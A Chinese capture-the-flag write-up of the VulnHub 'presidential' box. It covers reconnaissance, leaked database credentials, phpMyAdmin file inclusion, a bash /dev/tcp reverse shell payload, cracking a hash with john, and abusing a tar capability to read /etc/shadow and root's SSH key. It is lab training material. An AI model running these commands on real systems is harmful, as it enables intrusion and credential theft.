当前位置:网站首页>vulnhub之presidential
vulnhub之presidential
2022-07-03 11:05:00 【梅_花_七】
目录
一、nmap主机发现
做一个基于ping的扫描,其他有点慢

二、端口扫描

三、服务版本发现

四、信息收集
1.主页
至于其他功能,源码处,对我们来说没有太多的作用。

五、目录扫描
挨个查看,都没反应,上面收集到了域名,绑定域名,在尝试。

1.绑定域名
2./config.php.bak
这个里面有107B的数据。在源码下我们发现了数据库的名,账号密码

六、子域名爆破
爆破出来一个database.votenow.local,绑定ip,后访问。

发现一个phpmyadmin的登陆界面,结合我们前面发现的账号密码,登录phpmyadmin。

七、phpmyadmin
1.查看版本
、
2.漏洞搜索
这里有三个漏洞,我们来使用44928.txt文件包含漏洞。

3.文件内容
先利用数据库写入文件,之后来利用文件包含执行文件
4.尝试
注意:将sessions改为session,否则不成功
前边写域名,后面加上session就ok了

八、反弹shell
退出重新登陆获得一个新的session,其余步骤和上述相通
select '<?php system('bash -i >& /dev/tcp/192.168.0.107/8888 0>&1');exit;?>'

九、john的hash值爆破
在phpmyadmin中我们还发现了一个用户名和hash值
admin $2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
尝试爆破
john hash --wordlist=rockyou.txt
Stella

su admin
并python返回一下shell

十、capability
1.查看具有capability的权限
getcap -r / 2>/dev/null
2.代表意思:
Permitted
这个集合定义了线程所能够拥有的特权的上限,是Inheritable和Effective集合的的超集
Effective
内核检查特权操作时,实际检查的集合(可以通过执行操作前增/删Effective中的capabilities,以达到临时开/关权限的功能)

3.挨个查看
找到我们admin用户可以执行的命令。tars我们可以执行。

十一、tars提权
1.读取/etc/shadow
读取压缩
tar -cf archive.tar /etc/shadow
解压缩
tar -xf archive.tar
利用里面root的hash值,找字典去碰。找到对的字典应该可以破解出来

2.读取私钥文件
和上面一样来tarS来读取文件,然后解压。放到admin的.ssh下面,然后通过ssh登录,提权成功
ssh -i id_rsa [email protected] -p 2082

拿到flag

边栏推荐
- How to become a senior digital IC Design Engineer (1-3) Verilog coding syntax: Verilog behavior level, register transfer level, gate level (abstract level)
- 银泰百货点燃城市“夜经济”
- C language two-dimensional array
- The R language uses the hist function in the native package (basic import package, graphics) to visualize the histogram plot
- Nestjs configuration service, configuring cookies and sessions
- How to: configure ClickOnce trust prompt behavior
- phpcms 提示信息頁面跳轉showmessage
- R语言使用data.table包进行数据聚合统计计算滑动窗口统计值(Window Statistics)、计算滑动分组中位数(median)并合并生成的统计数据到原数据集中
- Application of high-precision indoor positioning technology in safety management of smart factory
- Gut | 香港中文大学于君组揭示吸烟改变肠道菌群并促进结直肠癌(不要吸烟)
猜你喜欢

鸿蒙第三次培训(项目实训)

ASP. Net hotel management system

The excel table is transferred to word, and the table does not exceed the edge paper range

STL教程10-容器共性和使用场景

错排问题 (抽奖,发邮件)

(数据库提权——Redis)Redis未授权访问漏洞总结

C language AES encryption and decryption

Based on MCU, how to realize OTA differential upgrade with zero code and no development?

Gut | 香港中文大学于君组揭示吸烟改变肠道菌群并促进结直肠癌(不要吸烟)

Redis things
随机推荐
GCC compilation process and dynamic link library and static link library
.\vmware-vdiskmanager.exe -k “c:\\xxxxx.vmdk”
导师对帮助研究生顺利完成学业提出了20条劝告:第一,不要有度假休息的打算.....
Numpy np. Max and np Maximum implements the relu function
C语言 AES加解密
Extrapolated scatter data
聊聊Flink框架中的状态管理机制
Mmc5603nj geomagnetic sensor (Compass example)
How to mix embedded MCU, arm and DSP?
asyncio 警告 DeprecationWarning: There is no current event loop
Viewing binary bin files with notepad++ editor
previous permutation lintcode51
R语言使用gridExtra包的grid.arrange函数将ggplot2包的多个可视化图像横向组合起来,ncol参数自定义组合图列数、nrow参数自定义组合图行数
CSRF
用了这么久线程池,你真的知道如何合理配置线程数吗?
Cuiyusong, CTO of youzan: the core goal of Jarvis is to make products smarter and more reliable
CSRF
Redis things
Gut | Yu Jun group of the Chinese University of Hong Kong revealed that smoking changes intestinal flora and promotes colorectal cancer (do not smoke)
如何将数字字符串转换为整数